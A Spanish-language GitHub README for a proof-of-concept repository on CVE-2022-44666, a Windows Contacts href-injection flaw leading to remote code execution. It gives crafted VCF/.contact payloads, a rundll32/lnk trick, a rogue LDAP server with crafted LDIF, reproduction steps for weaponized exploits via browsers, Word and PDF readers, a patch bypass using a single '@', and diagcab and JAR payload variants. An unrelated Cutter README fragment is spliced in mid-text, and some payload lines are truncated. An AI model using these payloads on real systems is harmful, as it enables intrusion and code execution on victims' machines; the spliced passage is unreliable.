j00sean/cve-2022-44666Informe técnico y prueba de concepto para CVE-2022-44666, una vulnerabilidad de escape del atributo href del control syslink de Contactos de Windows que permite la ejecución remota de código mediante archivos VCF/.contact manipulados y el controlador de protocolo LDAP.
Esta es la historia sobre otro 0day olvidado divulgado completamente hace más de 4 años por [John Page (alias hyp3rlinx)][R.1]. Para entender el informe, debes considerar que soy estúpido :-) Y mi estupidez me lleva a tomar caminos más largos para resolver problemas simples, pero también me lleva a encontrar otras formas de explotar algunos errores. ¿Por qué digo esto? Porque no pude entender rápidamente que la forma de crear un archivo .contact es simplemente navegar a la carpeta Contactos para crear el contacto; en lugar de eso, utilicé esta información para crear primero un archivo VCF y luego, erróneamente, pensé que esto era algún tipo de variante. Eso también se debió a que mi cerebro no puede entender que algunos 0days se olviden durante tanto tiempo ¯\(ツ)/¯ Una vez hecho eso y después de las respuestas de "wontfix" por parte de [MSRC][R.2] y [ZDI][R.3], se realizaron más investigaciones para aumentar la gravedad, llegando finalmente a los archivos .contact y al controlador de protocolo de URL de Windows "ldap".
Mientras leía el código de explotación para [esta vulnerabilidad][R.4] que en realidad se publicó como 0day y es posible encontrar el [informe de ZDI][R.5].
Actualización 2022/07/21: Después de reportar este caso a MS, los de MSRC me señalaron acertadamente que Contactos de Windows no es el programa predeterminado para abrir archivos VCF.
Investigaciones adicionales aún demuestran que el programa predeterminado para archivos VCF en Win7 ESU y WinServer2019 es Contactos de Windows (wab.exe), de lo contrario se usa MS People (PeopleApp.exe). Aquí hay una tabla completa de estas pruebas:
De todos modos, aún argumentan que hay algo de ingeniería social involucrada, como abrir un archivo VCF manipulado y hacer clic en algunos enlaces para explotar el error, por lo que no cumple con el umbral de error de MSRC para una actualización de seguridad.
Actualización 2022/07/25: Bueno, después de más investigaciones, es el mismo error. Finalmente pude encontrar una prueba de concepto de archivo .contact. En realidad es posible analizar correctamente un archivo .contact usando entidades HTML. Tenga en cuenta que esto resuelve el problema anterior (Actualización 2022/07/21) y este formato de archivo (.contact) se abre con Contactos de Windows, programa predeterminado para esta extensión de archivo, incluso cuando MS Office está instalado en el sistema. Solo necesita una primera asociación de archivo si aún no se ha realizado, pero el único programa instalado por defecto para hacerlo es Contactos de Windows.
Actualización 2022/07/25: Esta investigación adicional me llevó a un punto que estaba tratando de alcanzar hace algún tiempo: Usar algún controlador de protocolo de URL para abrir automáticamente datos de contacto manipulados y explotar el error. Finalmente pude hacerlo funcionar gracias al esquema URI ldap, que está asociado por defecto a la aplicación Contactos de Windows, por lo que simplemente configurando un servidor LDAP malicioso y sirviendo los datos de carga bajo los atributos mail, url o wwwhomepage, el impacto de la explotación aumenta porque ahora no es necesario hacer doble clic en un archivo VCF/Contact malicioso; podemos entregar esto usando protocolos de URL.
Actualización 2023/02/08: Como un gesto de buena voluntad por parte de MSRC, [John Page (alias hyp3rlinx)][R.1] ha sido incluido en la página de agradecimientos por el descubrimiento de [CVE-2022-44666][R.10].
El informe es básicamente el mismo que los enlaces anteriores, sin embargo, he mejorado un poco la ingeniería social involucrada. De hecho, lo primero que hice fue mejorar la forma en que se ven los enlaces, como si fuera una vulnerabilidad XSS; en realidad es una inyección HTML, por lo que es posible cerrar el primer elemento de anclaje e insertar uno nuevo. Luego, quería eliminar la visibilidad de esos elementos HTML, por lo que simplemente establecer un "innerHTML" lo más largo posible sería suficiente para ocultarlos (debido a que hay límites de caracteres).
Esta es la carga útil final utilizada:```html URL;WORK:">CLICKMEEEEE...
Para ver lo que sucede, ejecuta procmon y configura un objetivo falso del atributo href de la siguiente manera:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/foo.exe">CLICKMEEEEE...</a>
Una vez que se hace clic en el enlace, se observa una salida como esta en procmon:
Esta es la traza de pila para la primera operación "CreateFile":``` 0 FLTMGR.SYS FltpPerformPreCallbacksWorker + 0x36c 0xfffff806675a666c C:\WINDOWS\System32\drivers\FLTMGR.SYS 1 FLTMGR.SYS FltpPassThroughInternal + 0xca 0xfffff806675a611a C:\WINDOWS\System32\drivers\FLTMGR.SYS 2 FLTMGR.SYS FltpCreate + 0x310 0xfffff806675dc0c0 C:\WINDOWS\System32\drivers\FLTMGR.SYS 3 ntoskrnl.exe IofCallDriver + 0x55 0xfffff8066904e565 C:\WINDOWS\system32\ntoskrnl.exe 4 ntoskrnl.exe IoCallDriverWithTracing + 0x34 0xfffff8066909c224 C:\WINDOWS\system32\ntoskrnl.exe 5 ntoskrnl.exe IopParseDevice + 0x117d 0xfffff806694256bd C:\WINDOWS\system32\ntoskrnl.exe 6 ntoskrnl.exe ObpLookupObjectName + 0x3fe 0xfffff8066941329e C:\WINDOWS\system32\ntoskrnl.exe 7 ntoskrnl.exe ObOpenObjectByNameEx + 0x1fa 0xfffff806694355fa C:\WINDOWS\system32\ntoskrnl.exe 8 ntoskrnl.exe NtQueryAttributesFile + 0x1c5 0xfffff80669501125 C:\WINDOWS\system32\ntoskrnl.exe 9 ntoskrnl.exe KiSystemServiceCopyEnd + 0x25 0xfffff806692097b5 C:\WINDOWS\system32\ntoskrnl.exe 10 ntdll.dll NtQueryAttributesFile + 0x14 0x7ff8f0aed4e4 C:\Windows\System32\ntdll.dll 11 KernelBase.dll GetFileAttributesW + 0x85 0x7ff8ee19c045 C:\Windows\System32\KernelBase.dll 12 shlwapi.dll PathFileExistsAndAttributesW + 0x5a 0x7ff8ef20212a C:\Windows\System32\shlwapi.dll 13 shlwapi.dll PathFileExistsDefExtAndAttributesW + 0xa1 0x7ff8ef2022b1 C:\Windows\System32\shlwapi.dll 14 shlwapi.dll PathFileExistsDefExtW + 0x3f 0x7ff8ef2021ef C:\Windows\System32\shlwapi.dll 15 shlwapi.dll PathFindOnPathExW + 0x2f7 0x7ff8ef201f77 C:\Windows\System32\shlwapi.dll 16 shell32.dll PathResolve + 0x154 0x7ff8eebb0954 C:\Windows\System32\shell32.dll 17 shell32.dll CShellExecute::QualifyFileIfNeeded + 0x105 0x7ff8eebb05c9 C:\Windows\System32\shell32.dll 18 shell32.dll CShellExecute::ValidateAndResolveFileIfNeeded + 0x5e 0x7ff8eeb1e422 C:\Windows\System32\shell32.dll 19 shell32.dll CShellExecute::_DoExecute + 0x6d 0x7ff8eeb1e1cd C:\Windows\System32\shell32.dll 20 shell32.dll <lambda_519a2c088cd7d0cdfafe5aad47e70646>::<lambda_invoker_cdecl> + 0x2d 0x7ff8eeb09fed C:\Windows\System32\shell32.dll 21 SHCore.dll _WrapperThreadProc + 0xe9 0x7ff8f098bf69 C:\Windows\System32\SHCore.dll 22 kernel32.dll BaseThreadInitThunk + 0x14 0x7ff8f07e7034 C:\Windows\System32\kernel32.dll 23 ntdll.dll RtlUserThreadStart + 0x21 0x7ff8f0aa2651 C:\Windows\System32\ntdll.dll
Al establecer un punto de interrupción en **Shell32!ShellExecuteExW**, podemos tener una imagen más clara de las funciones involucradas:```
CommandLine: "C:\Program Files\Windows Mail\wab.exe" /vcard C:\Users\admin\Documents\vcf-0day\exploit.vcf
...
ModLoad: 00007ff7`c7d50000 00007ff7`c7dd5000 wab.exe
...
0:000> bp SHELL32!ShellExecuteExW
...
Breakpoint 0 hit
SHELL32!ShellExecuteExW:
00007ff8`eeb20e40 48895c2410 mov qword ptr [rsp+10h],rbx ss:000000d8`dc2dae88=0000000000090622
0:000> k
# Child-SP RetAddr Call Site
00 000000d8`dc2dae78 00007ff8`d3afee27 SHELL32!ShellExecuteExW
01 000000d8`dc2dae80 00007ff8`d3ad7802 wab32!SafeExecute+0x143
02 000000d8`dc2dbf90 00007ff8`ef3b2920 wab32!fnSummaryProc+0x1c2
03 000000d8`dc2dbfc0 00007ff8`ef3b20c2 USER32!UserCallDlgProcCheckWow+0x144
04 000000d8`dc2dc0a0 00007ff8`ef3b1fd6 USER32!DefDlgProcWorker+0xd2
05 000000d8`dc2dc160 00007ff8`ef3ae858 USER32!DefDlgProcW+0x36
06 000000d8`dc2dc1a0 00007ff8`ef3ade1b USER32!UserCallWinProcCheckWow+0x2f8
07 000000d8`dc2dc330 00007ff8`ef3ad68a USER32!SendMessageWorker+0x70b
08 000000d8`dc2dc3d0 00007ff8`d93a6579 USER32!SendMessageW+0xda
09 000000d8`dc2dc420 00007ff8`d93a62e7 comctl32!CLink::SendNotify+0x12d
0a 000000d8`dc2dd560 00007ff8`d9384bb8 comctl32!CLink::Notify+0x77
0b 000000d8`dc2dd590 00007ff8`d935add2 comctl32!CMarkup::OnButtonUp+0x78
0c 000000d8`dc2dd5e0 00007ff8`ef3ae858 comctl32!CLink::WndProc+0x86ff2
0d 000000d8`dc2dd6f0 00007ff8`ef3ae299 USER32!UserCallWinProcCheckWow+0x2f8
0e 000000d8`dc2dd880 00007ff8`ef3ac050 USER32!DispatchMessageWorker+0x249
0f 000000d8`dc2dd900 00007ff8`d92b6317 USER32!IsDialogMessageW+0x280
10 000000d8`dc2dd990 00007ff8`d92b61b3 comctl32!Prop_IsDialogMessage+0x4b
11 000000d8`dc2dd9d0 00007ff8`d92b5e2d comctl32!_RealPropertySheet+0x2bb
12 000000d8`dc2ddaa0 00007ff8`d3acfb68 comctl32!_PropertySheet+0x49
13 000000d8`dc2ddad0 00007ff8`d3ace871 wab32!CreateDetailsPropertySheet+0x930
14 000000d8`dc2de140 00007ff8`d3ad68f5 wab32!HrShowOneOffDetails+0x4f5
15 000000d8`dc2de390 00007ff8`d3af800f wab32!HrShowOneOffDetailsOnVCard+0xed
16 000000d8`dc2de400 00007ff7`c7d51b16 wab32!WABObjectInternal::VCardDisplay+0xbf
17 000000d8`dc2de450 00007ff7`c7d52c28 wab!WinMain+0x896
18 000000d8`dc2dfab0 00007ff8`f07e7034 wab!__mainCRTStartup+0x1a0
19 000000d8`dc2dfb70 00007ff8`f0aa2651 KERNEL32!BaseThreadInitThunk+0x14
1a 000000d8`dc2dfba0 00000000`00000000 ntdll!RtlUserThreadStart+0x21
Y el pseudocódigo involucrado es el siguiente:```cpp _int64 __fastcall fnSummaryProc(HWND hWnd, int a2, WPARAM a3, LONG_PTR a4) {
...
default:
if ( !((v22 + 4) & 0xFFFFFFFD) && *(_WORD *)(v5 + 136) )
SafeExecute(v7, (const unsigned __int16 *)v9, (const unsigned __int16 *)(v5 + 136)); <== FOLLOW THIS PATH
break;
}
} return 1i64; }
__int64 __fastcall SafeExecute(HWND a1, const unsigned __int16 *a2, const unsigned __int16 *a3) { const unsigned __int16 *v3; // rbx HWND v4; // rdi unsigned int v5; // ebx BOOL v6; // ebx __int64 v7; // rdx OLECHAR *v8; // rax signed int v10; // eax DWORD pcchCanonicalized; // [rsp+20h] [rbp-E0h] SHELLEXECUTEINFOW pExecInfo; // [rsp+30h] [rbp-D0h] OLECHAR Dst[2088]; // [rsp+A0h] [rbp-60h]
v3 = a3; v4 = a1; memset_0(Dst, 0, 0x1048ui64); pcchCanonicalized = 2084; v5 = UrlCanonicalizeW(v3, Dst, &pcchCanonicalized, 0); if ( (v5 & 0x80000000) == 0 ) { v6 = UrlIsW(Dst, URLIS_FILEURL); pExecInfo.hProcess = 0i64; pExecInfo.hwnd = 0i64; pExecInfo.lpVerb = 0i64; _mm_store_si128((__m128i *)&pExecInfo.lpParameters, (__m128i)0i64); *(_OWORD *)&pExecInfo.hInstApp = 0i64; *(_OWORD *)&pExecInfo.lpClass = 0i64; *(_OWORD *)&pExecInfo.dwHotKey = 0i64; if ( !ShellExecuteExW(&pExecInfo) ) <== CALL HERE { v10 = GetLastError(); v5 = (unsigned __int16)v10 | 0x80070000; if ( v10 <= 0 ) v5 = v10; } } ... }
Después de esto, está claro que el problema realmente involucra los controles [SysLink en la biblioteca comctl32.dll][R.6] y cómo el atributo href es analizado por la biblioteca wab32.dll.
No es posible utilizar ubicaciones compartidas remotas o webdavs para explotar esto.```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5C127.0.0.1%4080%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/%5C%5Cvboxsvr%5Ctest%5Cpayload.exe">CLICKMEEEEE...</a>
La información del archivo se consulta pero nunca se ejecuta.
Es posible usar rutas relativas como:```html URL;WORK:">CLICKMEEEEE...
Ejemplo:```html
URL;WORK:"></a><a href="https://github.com/j00sean/cve-2022-44666/blob/main/hidden%5Cpayload.exe">CLICKMEEEEE...</a>
Continuando más allá y mientras probaba rundll32 como vector de ataque, noté que no era posible usar argumentos con el ejecutable de payload seleccionado. Sin embargo, usando un archivo lnk que apunta a un ejecutable elegido, era posible usar argumentos de línea de comandos. Es un poco complicado, pero funciona.```html URL;WORK:">CLICKMEEEEE...
Objetivo de run.lnk:```
rundll32.exe hidden\payload.bin,Foo"
Esto parece más interesante porque no es necesario dejar un ejecutable en el sistema de destino.
Ejecución remota de código como el usuario actual conectado.
Debe existir asociación de archivos para usar Windows Contacts y abrir archivos .vcf.
Update 2021/07/25: Para los archivos de contacto (.contact) solo hay una aplicación para abrirlos por defecto: Windows Contacts, incluso si MS Office está instalado en el sistema de destino.
Usando los archivos ubicados en ./report-pocs/:
Hay un par de videos adjuntos en ./videos:
Este es un resumen de los archivos de prueba de concepto ubicados en ./report-pocs/:
Y los archivos ubicados en ./src:
Para una explotación adicional y como la vulnerabilidad no permite cargar archivos de ubicaciones compartidas remotas, el protocolo uri "search-ms" es un vector interesante. Encontrará pruebas de concepto que solo desencadenan un binario local como calc o notepad y pruebas de concepto más complejas que he denominado exploit armado, porque no ejecutan archivos locales. Estos pocs y exploits están ubicados en ./further-pocs/.
Este es un resumen de las aplicaciones objetivo:
Con el fin de reproducir:
Configure una ubicación compartida remota (SMB o WebDav). Copie el contenido de ./further-pocs/to-copy-in-remote-shared-location/ en ella.
Si se desea, oculte los archivos ejecutando ./further-pocs/to-copy-in-remote-shared-location/setup-hidden.bat.
Modifique el archivo exploit.html/poc.html ubicado en ./further-pocs/[vector or target app]/remote-weaponized-by-searchms/ para que apunte a su ubicación compartida remota.
Inicie un servidor web en la ruta de la aplicación objetivo, es decir: ./further-pocs/[vector or target app]/[poc||remote-weaponized-by-searchms]/.
Ejecute los archivos poc/exploit según el caso.
Para más información, vea los videos ubicados en ./videos:
Adicionalmente, estos son todos los archivos para explotación adicional:
Después de recibir la Actualización 2022/07/21 de MSRC, decidí echar un vistazo a la extensión de archivo de Contacto ya que confirmaría si es o no el mismo caso que el encontrado por el descubridor original, y por supuesto lo es. Mi primera prueba de concepto fue simplemente usar un formato de archivo diferente, pero el error es el mismo. Simplemente usando wabmig.exe ubicado en "C:\Program Files\Windows Mail" es posible convertir todos los archivos VCF a archivos de Contacto.
Y como se mencionó en las actualizaciones de la introducción, estos archivos son abiertos por Windows Contacts (programa predeterminado).
Los pasos para reproducir son los mismos que los usados para archivos VCF. Se aplican las mismas restricciones observadas en archivos VCF con los archivos de Contacto, es decir, no es posible usar ubicaciones compartidas remotas para el atributo "href" pero aún es posible usar rutas locales o el protocolo url "search-ms".
Estos son todos los archivos añadidos o modificados para explotar archivos de Contacto:
Como se mencionó anteriormente, esta investigación adicional me llevó a un punto que estaba tratando de alcanzar hace algún tiempo: usar un manejador de protocolo URL para abrir automáticamente datos de contacto manipulados para explotar el error. Este desafío se logró finalmente gracias al esquema URI ldap.```js ... Windows Registry Editor Version 5.00
[HKEY_CLASSES_ROOT\LDAP] @="URL:LDAP Protocol" "EditFlags"=hex:02,00,00,00 "URL Protocol"=""
[HKEY_CLASSES_ROOT\LDAP\Clsid] @="{228D9A81-C302-11cf-9AA4-00AA004A5691}"
[HKEY_CLASSES_ROOT\LDAP\shell]
[HKEY_CLASSES_ROOT\LDAP\shell\open]
[HKEY_CLASSES_ROOT\LDAP\shell\open\command]
@=hex(2):22,00,25,00,50,00,72,00,6f,00,67,00,72,00,61,00,6d,00,46,00,69,00,6c,
00,65,00,73,00,25,00,5c,00,57,00,69,00,6e,00,64,00,6f,00,77,00,73,00,20,00,
4d,00,61,00,69,00,6c,00,5c,00,77,00,61,00,62,00,2e,00,65,00,78,00,65,00,22,
00,20,00,22,00,2f,00,6c,00,64,00,61,00,70,00,3a,00,25,00,31,00,22,00,00,00
...
Es decir:```
"%ProgramFiles%\Windows Mail\wab.exe" "/ldap:%1"
Así que simplemente configurando un servidor LDAP malicioso y sirviendo los datos del payload, es posible usar este controlador de protocolo de URL para lanzar Windows Contacts (wab.exe) con un payload malicioso en los atributos ldif mail, url o wwwhomepage. Tenga en cuenta que no pude hacer que esto funcionara con el atributo "wwwhomepage" como se indica [aquí][R.8], pero teóricamente debería funcionar.
El contenido ldif elaborado es algo como esto:```html ... dn: dc=org dc: org objectClass: dcObject
dn: dc=example,dc=org dc: example objectClass: dcObject objectClass: organization
dn: ou=people,dc=example,dc=org objectClass: organizationalUnit ou: people
dn: cn=Microsoft,ou=people,dc=example,dc=org cn: Microsoft gn: Microsoft company: Microsoft title: Microsoft KB5001337-hotfix mail:">Run-installer... url:">Run-installer... wwwhomepage:">Run-installer... objectclass: top objectclass: person objectClass: inetOrgPerson ...
Y el código del servidor ldap malicioso fue tomado prestado del servidor de inicio rápido del proyecto ldaptor, ubicado [aquí][R.9].
Este es un resumen de las aplicaciones objetivo:
* Navegadores: MS Edge, Google Chrome, Mozilla Firefox y Opera.
* MS Word.
* Lectores de PDF (principalmente Adobe Acrobat Reader DC y Foxit PDF Reader).
Los pasos para reproducir son:
1. Copia [./further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs) a una ubicación compartida remota (SMB o WebDav).
2. Si se desea, oculta los archivos ejecutando [./further-pocs/MSWord/setup-hidden.bat](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/setup-hidden.bat).
3. Instala ldaptor mediante pip: pip install ldaptor. Ten en cuenta que esto ha sido probado en Python 2.7 x64.
4. Inicia el servidor ldap malicioso ubicado en [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py)
5. Inicia un servidor web en la ruta de la aplicación objetivo, es decir: ./further-pocs/[vector o aplicación objetivo]/url-protocol-ldap/.
6. Ejecuta los archivos de exploit según el caso.
7. Para más información, mira los videos ubicados en [./videos](https://github.com/j00sean/cve-2022-44666/blob/main/videos):
- 7.1. Para navegadores: [./videos/ldap-browsers-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-browsers-exploit.gif).
- 7.2. Para MS Word: [./videos/ldap-msword-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-msword-exploit.gif).
- 7.3. Para lectores de PDF: [./videos/ldap-pdfreaders-exploit.gif](https://github.com/j00sean/cve-2022-44666/blob/main/videos/ldap-pdfreaders-exploit.gif).
Estos son los archivos adicionales para explotar el protocolo ldap de URL:
+ [./further-pocs/browsers/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/browsers/url-protocol-ldap/exploit.html): Archivo HTML para cargar el protocolo ldap de URL en un servidor ldap malicioso que devuelve datos manipulados para correo y URLs.
+ [./further-pocs/MSWord/url-protocol-ldap/poc.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/poc.html): plantilla remota, también conocido como htmlfile activex, para cargar el protocolo ldap de URL en un servidor ldap malicioso que devuelve datos manipulados para correo y URLs.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.rtf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.rtf): Archivo de Word en formato RTF que activa una plantilla remota, también conocido como htmlfile activex.
+ [./further-pocs/MSWord/url-protocol-ldap/exploit.docx](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/MSWord/url-protocol-ldap/exploit.docx): Archivo de Word en formato DOCX que activa una plantilla remota, también conocido como htmlfile activex.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.html](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.html): Archivo HTML para cargar el protocolo ldap de URL en un servidor ldap malicioso que devuelve datos manipulados para correo y URLs.
+ [./further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/PDFreaders/url-protocol-ldap/exploit.pdf): PDF que activa el navegador predeterminado para ejecutar el protocolo URI 'ldap'.
+ [./further-pocs/ldap-rogue-server/ldap-server.py](https://github.com/j00sean/cve-2022-44666/blob/main/further-pocs/ldap-rogue-server/ldap-server.py): Script Python basado en el ejemplo de servidor para ldaptor, que se ejecuta en Python 2.7 y sirve los datos manipulados para explotar el error a través de los atributos ldif mail, url y wwwhomepage.
## CVE-2022-44666: Análisis del parche y corrección incompleta
El 13 de diciembre de 2022, Microsoft lanzó el parche para esta vulnerabilidad como [CVE-2022-44666][R.10].
Las versiones utilizadas para el diff del parche (ubicado en C:\Program Files\Common Files\System\wab32.dll) han sido:
+ MD5: 588A3D68F89ABF1884BEB7267F274A8B (pre-parche)
+ MD5: D1708215AD2624E666AFD97D97720E81 (post-parche)
Al hacer diff de la biblioteca afectada (wab32.dll) con [Diaphora][R.11] por [@matalaz][R.12], encontraremos algunas funciones nuevas:
Y estos son los emparejamientos parciales:
Echando un vistazo al nuevo código en la función "fnSummaryProc":```cpp
__int64 __fastcall fnSummaryProc(HWND a1, int a2, WPARAM a3, LONG_PTR a4)
{
...
if ( v26 <= 0x824 && (!v23 ? (v27 = 0) : (v27 = IsValidWebsiteUrlScheme(v23)), v27) ) // (1)
{
v38 = (unsigned __int16 *)2085;
v39 = &CPercentEncodeRFC3986::`vftable';
v40 = v23;
v41 = v26;
v28 = CPercentEncodeString::Encode(
(CPercentEncodeString *)&v39,
(unsigned __int16 *)&Dst,
(unsigned __int64 *)&v38,
v25);
v29 = v7;
if ( !v28 )
{
v30 = (const unsigned __int16 *)&Dst;
LABEL_44:
SafeExecute(v29, v24, v30); // (2)
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38);
else
v32 = 0;
v29 = v7;
if ( v32 )
{
v30 = v23;
goto LABEL_44; // (3)
}
}
v31 = GetParent(v29);
ShowMessageBox(v31, 0xFE1u, 0x30u); // (4)
return 1i64;
}
...
}
Después de la corrección, el nuevo código llama a la función "SafeExecute" (2) o muestra un cuadro de mensaje (4).
Para alcanzar la llamada de la función "SafeExecute" (2) es posible seguir el flujo de código en (1):```cpp _BOOL8 __fastcall IsValidWebsiteUrlScheme(LPCWSTR pszIn) { const WCHAR *v1; // rbx _BOOL8 result; // rax DWORD pcchOut; // [rsp+30h] [rbp-68h] char Dst; // [rsp+40h] [rbp-58h]
v1 = pszIn; result = 0; if ( UrlIsW(pszIn, URLIS_URL) ) // (5) { memset_0(&Dst, 0, 0x40ui64); pcchOut = 32; if ( UrlGetPartW(v1, (LPWSTR)&Dst, &pcchOut, 1u, 0) >= 0 && (!(unsigned int)StrCmpICW(&Dst, L"http") || !(unsigned int)StrCmpICW(&Dst, L"https")) ) // (6) { result = 1; } } return result; }
Esta función primero verifica si la [URL es válida en (5)][R.13], luego, comprueba si comienza o no con "http" o "https" en (6). Esta ruta de código parece bastante segura. Volviendo a la función "fnSummaryProc", hay otra ruta de código que podría ayudar a eludir la corrección en (3).```cpp
__int64 __fastcall IsInternetAddress(unsigned __int16 *a1, unsigned __int16 **a2)
{
unsigned __int16 v2; // ax
unsigned __int16 **v3; // r14
unsigned __int16 *v4; // rdi
unsigned __int16 *v5; // r15
unsigned __int16 v6; // dx
unsigned __int16 *v7; // r8
unsigned __int16 *v8; // rcx
WCHAR v9; // ax
_WORD *v10; // rsi
int v11; // ebp
LPWSTR v12; // rax
unsigned __int16 *v14; // rax
v2 = *a1;
v3 = a2;
v4 = a1;
v5 = a1;
while ( v2 && v2 != 0x3C )
{
a1 = CharNextW(a1);
v2 = *a1;
}
v6 = *a1;
v7 = a1;
if ( *a1 )
{
v8 = a1 + 1;
v4 = v8;
}
else
{
v8 = v4;
}
v9 = *v8;
v10 = (_WORD *)((unsigned __int64)v7 & -(__int64)(v6 != 0));
v11 = v6 != 0;
if ( *v8 & 0xFFBF )
{
while ( v9 <= 0x7Fu && v9 != 0xD && v9 != 0xA )
{
if ( v9 == 0x40 ) // (7)
{
v14 = CharNextW(v8);
if ( !(unsigned int)IsDomainName(v14, v11, v3 != 0i64) ) // (8)
return 0i64;
if ( v3 )
{
if ( v10 )
{
*v10 = 0;
TrimSpaces(v5);
}
*v3 = v4;
}
return 1i64;
}
v12 = CharNextW(v8);
v8 = v12;
v9 = *v12;
if ( !v9 )
return 0i64;
}
}
return 0i64;
}
Una cosa me llamó la atención sobre esto en (7), donde el código está verificando si existe un carácter "@". Luego, llama a la función "IsDomainName" para comprobar si la cadena después del carácter "@" es un nombre de dominio:```cpp __int64 __fastcall IsDomainName(unsigned __int16 *a1, int a2, int a3) { int v3; // edi int v4; // ebx int v5; // er9 __int64 v6; // rdx
v3 = a3; v4 = a2; if ( !a1 ) return 0i64; LABEL_2: v5 = *a1; if ( !(_WORD)v5 || (_WORD)v5 == 0x2E || v4 && (_WORD)v5 == 0x3E ) return 0i64; while ( (_WORD)v5 && (!v4 || (_WORD)v5 != 0x3E) ) { if ( (unsigned __int16)v5 >= 0x80u ) return 0i64; if ( (unsigned __int16)(v5 - 10) <= 0x36u ) { v6 = 19140298416324617i64; if ( _bittest64(&v6, (unsigned int)(v5 - 10)) ) return 0i64; } if ( (_WORD)v5 == 46 ) { a1 = CharNextW(a1); if ( a1 ) goto LABEL_2; return 0i64; } a1 = CharNextW(a1); v5 = *a1; } if ( v4 ) { if ( (_WORD)v5 != 0x3E ) return 0i64; if ( v3 ) *a1 = 0; } return 1i64; }
Entonces, la omisión de la corrección es bastante simple. Solo es necesario usar un solo carácter "@". Los atributos href de symlink como estos omitirán exitosamente la corrección:```html
hidden\@payload.lnk
hidden\@payload.exe
Cutter es una moderna interfaz gráfica basada en Qt y RzLldr que ofrece herramientas avanzadas a los ingenieros inversos.
<a href="https://discord.gg/qjdy8ba" alt="Discord"><img src="https://img.shields.io/discord/12345?label=Discord" /></a>
<a href="https://github.com/rizinorg/cutter/actions?query=branch%3Amaster" alt="CI"><img src="https://img.shields.io/github/actions/workflow/status/rizinorg/cutter/ci.yml?branch=master" /></a>
Nota: Estamos en proceso de reestructurar nuestro código y reescribir la interfaz de usuario. Manténgase atento.```html [email protected] [email protected]
Para más información, hay un vídeo de un [archivo de contacto independiente](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/simple-payload.gif).
Prueba de concepto ubicada en [./bypass/report-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/report-pocs).
Y otro para [MS Word y el protocolo de URL LDAP](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-exploit.gif).
Prueba de concepto ubicada en [./bypass/further-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/further-pocs).
Un día después del lanzamiento del parche, esta información fue enviada a MSRC. Desafortunadamente, el caso se cerró recientemente sin más información al respecto.
## Archivo Diagcab como payload
Después de [CVE-2022-30190][R.14] también conocida como [vulnerabilidad Follina][R.15] y [CVE-2022-34713][R.16] también conocida como [vulnerabilidad DogWalk][R.17], una [técnica públicamente conocida pero subestimada][R.18] renació nuevamente gracias a [@buffaloverflow][R.19]. Mi compañero y amigo [Eduardo Braun Prado][R.20] me dio la idea de usar esta técnica aquí.
Hay algunos requisitos previos para hacer esto:
1. El usuario objetivo debe pertenecer al grupo de administradores. Si no, aparece un aviso de UAC.
2. El archivo diagcab debe estar firmado, por lo que el certificado de firma de código debe estar instalado en el ordenador objetivo.
Un escenario de ataque real implicaría robar un certificado de firma de código que de hecho esté instalado en el sistema objetivo. Pero como esto es solo una prueba de concepto, se generó un certificado de firma de código autofirmado y se usó para firmar el archivo diagcab llamado [@payload.diagcab](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/MSWord/hidden/%40payload.diagcab).
Por lo tanto, para reproducirlo, es necesario instalar el certificado ubicado en [cert.cer](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs/cert.cer) en la Autoridad de Certificación Raíz de Confianza [así](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/install-certificate.gif):
Para finalmente elevar los privilegios, se podría utilizar un robo/suplantación de token. En este caso, la [técnica del "proceso padre"][R.21] fue la [elegida][R.22]. Se incluyó una versión modificada de este script dentro de los scripts de resolución.
Para más información, hay un vídeo de [MS Word y el protocolo de URL LDAP](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/videos/ldap-msword-diagcab-exploit.gif).
Prueba de concepto ubicada en [./bypass/diagcab-pocs](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/diagcab-pocs).
## Archivos JAR como payload
***Actualización 2023/06/19:*** Después de leer la [publicación de @pfiatde][R.24] sobre ["ZipJar"][R.25], esta interesante información convierte a los archivos JAR en un buen candidato para ser utilizado como payload en esta vulnerabilidad, que por cierto sigue siendo 0day hoy en día, ya que MotW se ignora y no requiere aceptar ningún aviso.
El payload JAR fue tomado del repositorio de github [calc_security_poc][R.26].
Ahí tienes adjunto un pequeño constructor, [create-poc.py](https://github.com/j00sean/cve-2022-44666/blob/main/bypass/jar-poc) para hacer tu propio POC a partir de alguna plantilla.
No olvides agradecer a [@microlovu][R.27] y [@mlftsecresponse][R.28]. 😂
## Solución propuesta
Recuerda el código vulnerable en la función "fnSummaryProc":```cpp
...
LABEL_44:
SafeExecute(v29, v24, v30); // Vulnerable call to shellexecute
return 1i64;
}
}
else
{
if ( v23 )
v32 = IsInternetAddress(v23, &v38); // Bypass with a single "@"
else
v32 = 0;
